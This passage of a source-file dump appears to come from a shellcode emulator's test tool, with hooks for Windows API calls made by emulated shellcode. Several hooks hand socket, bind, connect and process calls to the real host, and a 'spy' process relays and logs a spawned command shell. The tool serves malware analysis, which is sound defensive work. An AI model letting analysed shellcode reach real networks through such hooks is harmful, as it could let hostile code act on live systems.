&timeout);\n//\t\t\t\t\tprintf(\"select %i\\n\",action);\n\t\t\t\t\tint written = -1;\n\t\t\t\t\tif ( action > 0 )\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( FD_ISSET(psiStartInfo->hStdInput, &socks) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tint size = read(psiStartInfo->hStdInput, buf, 1024);\n\t\t\t\t\t\t\t\n//\t\t\t\t\t\t\tprintf(\"read %i in '%.*s'\\n\",size,size,buf);\n\t\t\t\t\t\t\tif ( size > 0 )\n\t\t\t\t\t\t\t\twritten = write(in[0], buf, size);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tgoto exit_now;\n\t\t\t\t\t\t\tappend(io, \"in  >\", buf, size);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( FD_ISSET(out[1], &socks) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tint size = read(out[1], buf, 1024);\n//\t\t\t\t\t\t\tprintf(\"read %i out '%.*s'\\n\",size,size,buf);\n\t\t\t\t\t\t\tif ( size > 0 )\n\t\t\t\t\t\t\t\twritten = write(psiStartInfo->hStdOutput, buf, size);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tgoto exit_now;\n\t\t\t\t\t\t\tappend(io, \"out <\", buf, size);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( FD_ISSET(err[1], &socks) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tint size = read(err[1], buf, 1024);\n//\t\t\t\t\t\t\tprintf(\"read %i err '%.*s'\\n\",size,size,buf);\n\t\t\t\t\t\t\tif ( size > 0 )\n\t\t\t\t\t\t\t\twritten = write(psiStartInfo->hStdOutput, buf, size);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tgoto exit_now;\n\t\t\t\t\t\t\tappend(io, \"err <\", buf, size);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif( written == -1 )\n\t\t\t\t\t\t\tgoto exit_now;\n\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"timeout, killing cmd prompt\\n\");\n\t\t\t\t\t\tkill(child, SIGKILL);\n\nexit_now:\n\t\t\t\t\t\tprintf(\"spy dies\\n\");\n\t\t\t\t\t\tprintf(\"session was\\n%s\\n\", emu_string_char(io));\n\t\t\t\t\t\temu_string_free(io);\n\t\t\t\t\t\tclose(in[0]);\n\t\t\t\t\t\tclose(out[1]);\n\t\t\t\t\t\tclose(err[1]);\n\t\t\t\t\t\texit(EXIT_SUCCESS);\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t} // spy\n\n\n\t\t} else\n\t\t{ // parent \n\t\t\tpProcInfo->hProcess = spy;\n\t\t}\n\t}\n\n\n\n\treturn 1;\n}\n\nuint32_t user_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\n\t/*\n\tDWORD WINAPI WaitForSingleObject(\n\t  HANDLE hHandle,\n\t  DWORD dwMilliseconds\n\t);\n\t*/\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tint32_t hHandle = va_arg(vl, int32_t);\n\t/*int32_t dwMilliseconds = */ (void)va_arg(vl, int32_t);\n\tva_end(vl);\n\n\tint status;\n\twhile(1)\n\t{\n\t\tif (waitpid(hHandle, &status, WNOHANG) != 0)\n\t\t\tbreak;\n\t\tsleep(1);\n\t}\n\n\tprintf(\"process exited with status %i\\n\",status);\n\treturn 0;\n}\n\n\nuint32_t user_hook_exit(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tint code = va_arg(vl,  int);\n\tva_end(vl);\n\n\tprintf(\"exit(%i)\\n\",code);\n\topts.steps = 0;\n\treturn 0;\n}\n\nuint32_t user_hook_accept(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tint s \t\t\t\t\t= va_arg(vl,  int);\n\t/*struct sockaddr* addr \t= */(void)va_arg(vl,  struct sockaddr *);\n\t/*socklen_t* addrlen \t\t= */(void)va_arg(vl,  socklen_t *);\n\tva_end(vl);\n\n\tstruct sockaddr sa;\n\tsocklen_t st = sizeof(struct sockaddr);\n\n    return accept(s, &sa, &st);\n}\n\nuint32_t user_hook_bind(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tint s \t\t\t\t\t= va_arg(vl,  int);\n\tstruct sockaddr* addr \t= va_arg(vl,  struct sockaddr *);\n\tsocklen_t addrlen = va_arg(vl,  socklen_t );\n\n\tif (opts.override.bind.host != NULL )\n\t{\n\t\tstruct sockaddr_in *si = (struct sockaddr_in *)addr;\n\t\tsi->sin_addr.s_addr = inet_addr(opts.override.bind.host);\n\t}\n\n\tif (opts.override.bind.port > 0)\n\t{\n\t\tstruct sockaddr_in *si = (struct sockaddr_in *)addr;;\n\t\tsi->sin_port = htons(opts.override.bind.port);\n\t}\n\n\tva_end(vl);\n\n    return bind(s, addr, addrlen);\n}\n\nuint32_t user_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tint s \t\t\t\t\t= va_arg(vl,  int);\n\tva_end(vl);\n\n    return close(s);\n}\n\nuint32_t user_hook_connect(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tint s \t\t\t\t\t= va_arg(vl,  int);\n\tstruct sockaddr* addr \t= va_arg(vl,  struct sockaddr *);\n\n\tif (opts.override.connect.host != NULL )\n\t{\n\t\tstruct sockaddr_in *si = (struct sockaddr_in *)addr;\n\t\tsi->sin_addr.s_addr = inet_addr(opts.override.connect.host);\n\t}\n\n\tif (opts.override.connect.port > 0)\n\t{\n\t\tstruct sockaddr_in *si = (struct sockaddr_in *)addr;;\n\t\tsi->sin_port = htons(opts.override.connect.port);\n\t}\n\n\n\tsocklen_t addrlen = va_arg(vl,  socklen_t);\n\n\tif (addrlen != sizeof(struct sockaddr))\n\t{\n\t\taddrlen = sizeof(struct sockaddr);\n\t}\n\n\tva_end(vl);\n\n    return connect(s, addr, addrlen);\n}\n\nuint32_t user_hook_fclose(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n//int fclose(FILE *fp);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tFILE *f = va_arg(vl, FILE *);\n\tva_end(vl);\n\n\tstruct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)f);\n\n\tif (nf != NULL)\n\t{\n\t\tFILE *ef = nf->real_file;\n\t\tnanny_del_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)f);\n    \treturn fclose(ef);\n\t}\n\telse \n\t\treturn 0;\n\n}\n\n\nuint32_t user_hook_fopen(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tchar *filename\t\t\t= va_arg(vl,  char *);\n\t/*char *mode \t\t\t\t= */(void)va_arg(vl,  char *);\n\tva_end(vl);\n\n\n\tchar *localfile;\n\n\tif ( asprintf(&localfile, \"/tmp/%s-XXXXXX\",filename) == -1)\n\t\texit(-1);\n\n\tint fd = mkstemp(localfile);\n\tclose(fd);\n\n\tFILE *f = fopen(localfile,\"w\");\n\n\tuint32_t file;\n\tnanny_add_file(hook->hook.win->userdata, localfile, &file, f);\n\n\treturn file;\n}\n\nuint32_t user_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n/*       size_t fwrite(const void *ptr, size_t size, size_t nmemb,\n                     FILE *stream);\n*/\n\tva_list vl;\n\tva_start(vl, hook);\n\tvoid *data = va_arg(vl, void *);\n\tsize_t size = va_arg(vl, size_t);\n\tsize_t nmemb = va_arg(vl, size_t);\n\tFILE *f = va_arg(vl, FILE *);\n\tva_end(vl);\n\n\tstruct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)f);\n\n\tif (nf != NULL)\n\t\treturn fwrite(data, size, nmemb, nf->real_file);\n\telse \n\t\treturn size*nmemb;\n\n}\n\n\n\nuint32_t user_hook_listen(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tint s \t\t\t\t\t= va_arg(vl,  int);\n\tint backlog\t\t\t \t= va_arg(vl,  int);\n\tva_end(vl);\n\n    return listen(s, backlog);\n}\n\nuint32_t user_hook_recv(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tint s = va_arg(vl,  int);\n\tchar* buf = va_arg(vl,  char *);\n\tint len = va_arg(vl,  int);\n\tint flags = va_arg(vl,  int);\n\tva_end(vl);\n\n\treturn recv(s, buf, len,  flags);\n}\n\nuint32_t user_hook_send(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\tint s = va_arg(vl,  int);\n\tchar* buf = va_arg(vl,  char *);\n\tint len = va_arg(vl,  int);\n\tint flags = va_arg(vl,  int);\n\tva_end(vl);\n\n\treturn send(s, buf, len,  flags);\n}\n\n\nuint32_t user_hook_socket(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\t/* int socket(int domain, int type, int protocol); */\n\tint domain = va_arg(vl,  int);\n\tint type = va_arg(vl,  int);\n\tint protocol = va_arg(vl, int);\n\tva_end(vl);\n\n\tprintf(\"socket(%i, %i, %i)\\n\",domain, type, protocol);\n\n\treturn socket(domain, type, protocol);\n}\n\nuint32_t user_hook_WSASocket(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\t/* int socket(int domain, int type, int protocol); */\n\tint domain = va_arg(vl,  int);\n\tint type = va_arg(vl,  int);\n\tint protocol = va_arg(vl, int);\n\t(void)va_arg(vl, int);\n\t(void)va_arg(vl, int);\n\t(void)va_arg(vl, int);\n\n\tva_end(vl);\n\n\tprintf(\"WSASocket(%i, %i, %i)\\n\",domain, type, protocol);\n\n\treturn socket(domain, type, protocol);\n}\n\n\nuint32_t user_hook_CreateFile(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n/*\nHANDLE CreateFile(\n  LPCTSTR lpFileName,\n  DWORD dwDesiredAccess,\n  DWORD dwShareMode,\n  LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n  DWORD dwCreationDisposition,\n  DWORD dwFlagsAndAttributes,\n  HANDLE hTemplateFile\n);\n*/\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tchar *lpFileName\t\t\t= va_arg(vl, char *);\n\t/*int dwDesiredAccess\t\t=*/(void)va_arg(vl, int);\n\t/*int dwShareMode\t\t\t=*/(void)va_arg(vl, int);\n\t/*int lpSecurityAttributes\t=*/(void)va_arg(vl, int);\n\t/*int dwCreationDisposition\t=*/(void)va_arg(vl, int);\n\t/*int dwFlagsAndAttributes\t=*/(void)va_arg(vl, int);\n\t/*int hTemplateFile\t\t\t=*/(void)va_arg(vl, int);\n\tva_end(vl);\n\n\tchar *localfile;\n\n\tif ( asprintf(&localfile, \"/tmp/%s-XXXXXX\",lpFileName) == -1)\n\t\texit(-1);\n\n\tint fd = mkstemp(localfile);\n\tclose(fd);\n\n\tFILE *f = fopen(localfile,\"w\");\n\n\tuint32_t handle;\n\tnanny_add_file(hook->hook.win->userdata, localfile, &handle, f);\n\n\treturn (uint32_t)handle;\n}\n\nuint32_t user_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n/*\nBOOL WriteFile(\n  HANDLE hFile,\n  LPCVOID lpBuffer,\n  DWORD nNumberOfBytesToWrite,\n  LPDWORD lpNumberOfBytesWritten,\n  LPOVERLAPPED lpOverlapped\n);\n*/\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tFILE *hFile \t\t\t\t\t= va_arg(vl, FILE *);\n\tvoid *lpBuffer \t\t\t\t\t= va_arg(vl, void *);\n\tint   nNumberOfBytesToWrite \t= va_arg(vl, int);\n\t/* int *lpNumberOfBytesWritten  =*/(void)va_arg(vl, int*);\n\t/* int *lpOverlapped \t\t    =*/(void)va_arg(vl, int*);\n\tva_end(vl);\n\n\tstruct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)hFile);\n\n\tif (nf != NULL)\n\t{\n\t\tif( fwrite(lpBuffer, nNumberOfBytesToWrite, 1, nf->real_file) != 1 )\n\t\t\treturn 0;\n\t}\n\telse\n\t\tprintf(\"shellcode tried to write data to not existing handle\\n\");\n\n\treturn 1;\n\n}\n\n\nuint32_t user_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n/*\nBOOL CloseHandle(\n  HANDLE hObject\n);\n*/\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tFILE *hObject = va_arg(vl, FILE *);\n\tva_end(vl);\n\n\tstruct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)hObject);\n\n\tif (nf != NULL)\n\t{\n\t\tFILE *f = nf->real_file;\n\t\tnanny_del_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)hObject);\n\t\tfclose(f);\n\t}\n\telse \n\t{\n\t\tprintf(\"shellcode tried to close not existing handle (maybe closed it already?)\\n\");\n\t}\n\n\n\treturn 0;\n}\n\n\n\nuint32_t user_hook_URLDownloadToFile(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\t/*void * pCaller    = */(void)va_arg(vl, void *);\n\tchar * szURL      = va_arg(vl, char *);\n\tchar * szFileName = va_arg(vl, char *);\n\t/*int    dwReserved = */(void)va_arg(vl, int   );\n\t/*void * lpfnCB     = */(void)va_arg(vl, void *);\n\n\tva_end(vl);\n\n\n\tprintf(\"download %s -> %s\\n\", szURL, szFileName);\n\n\treturn 0;\n}\n\nuint32_t user_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\t/*char *CommandLine =*/ (void)va_arg(vl, char *);\n\t/*int nShowWindow   =*/ (void)va_arg(vl, int);\n\tva_end(vl);\n\n\topts.steps = 0;\n\treturn 0;\n}\n"
  },
  {
    "path": "tools/sctest/userhooks.h",
    "content": "\nuint32_t user_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_CreateProcess(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_exit(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_accept(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_bind(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_connect(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_fclose(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_fopen(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_listen(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_recv(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_send(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_socket(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_WSASocket(struct emu_env *env, struct emu_env_hook *hook, ...);\n\nuint32_t user_hook_CreateFile(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook, ...);\n\nuint32_t user_hook_URLDownloadToFile(struct emu_env *env, struct emu_env_hook *hook, ...);\nuint32_t user_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook, ...);\n"
  }
]